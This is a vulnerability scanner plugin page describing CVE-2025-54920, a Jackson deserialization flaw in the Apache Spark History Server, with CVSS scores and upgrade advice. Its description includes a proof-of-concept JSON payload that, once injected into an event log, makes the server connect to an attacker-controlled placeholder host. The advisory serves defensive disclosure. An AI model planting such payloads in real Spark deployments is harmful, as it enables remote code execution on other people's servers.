Detections
Analytics

SCA: security update for org.apache.spark:spark-core_2.12, org.apache.spark:spark-core_2.13 (GHSA-jwp6-cvj8-fw65)

high Tenable Cloud Security Plugin ID 438925

Description

There are packages installed that are affected by a vulnerability referenced in the following CVE:

 - This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7
 or 4.0.1 and above, which fixes the issue. Summary Apache Spark 3.5.4 and earlier versions contain a code
 execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of
 event log data. This allows an attacker with access to the Spark event logs directory to inject malicious
 JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host
 running the Spark History Server. Details The vulnerability arises because the Spark History Server uses
 Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an
 attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating
 unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other
 malicious actions during deserialization. The attacker can exploit this by injecting crafted JSON content
 into the Spark event log files, which the History Server then deserializes on startup or when loading
 event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote
 attacker-controlled server, demonstrating remote command injection capability. Proof of Concept: 1. Run
 Spark with event logging enabled, writing to a writable directory (spark-logs). 2. Inject the following
 JSON at the beginning of an event log file: { "Event": "org.apache.hive.jdbc.HiveConnection", "uri":
 "jdbc:hive2://<IP>:<PORT>/", "info": { "hive.metastore.uris": "thrift://<IP>:<PORT>" } } 3. Start the
 Spark History Server with logs pointing to the modified directory. 4. The Spark History Server initiates a
 JDBC connection to the attacker’s server, confirming the injection. Impact An attacker with write access
 to Spark event logs can execute arbitrary code on the server running the History Server, potentially
 compromising the entire system. (CVE-2025-54920)

Solution

Update the org.apache.spark:spark-core_2.12 library and its related packages to version 3.5.7 or later.

See Also

https://github.com/advisories/GHSA-jwp6-cvj8-fw65

Plugin Details

Severity: High

ID: 438925

Version: Revision 1.5

Type: Local

Family: SCA Checks

Published: 3/18/2026

Updated: 7/2/2026

Supported Sensors: Tenable Cloud Security, Tenable Self-Hosted Container Security

Risk Information

VPR

Risk Factor: Medium

Score: 6.9

Percentile: 96.95

Vendor

Vendor Severity: High

CVSS v2

Risk Factor: High

Base Score: 9

Temporal Score: 7

Vector: CVSS2#AV:N/AC:L/Au:S/C:C/I:C/A:C

CVSS Score Source: CVE-2025-54920

CVSS v3

Risk Factor: High

Base Score: 8.8

Temporal Score: 7.9

Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Temporal Vector: CVSS:3.0/E:P/RL:O/RC:C

Vulnerability Information

Exploit Available: true

Exploit Ease: Exploits are available

Patch Publication Date: 3/16/2026

Vulnerability Publication Date: 3/14/2026

Reference Information

CVE: CVE-2025-54920

cwe: CWE-502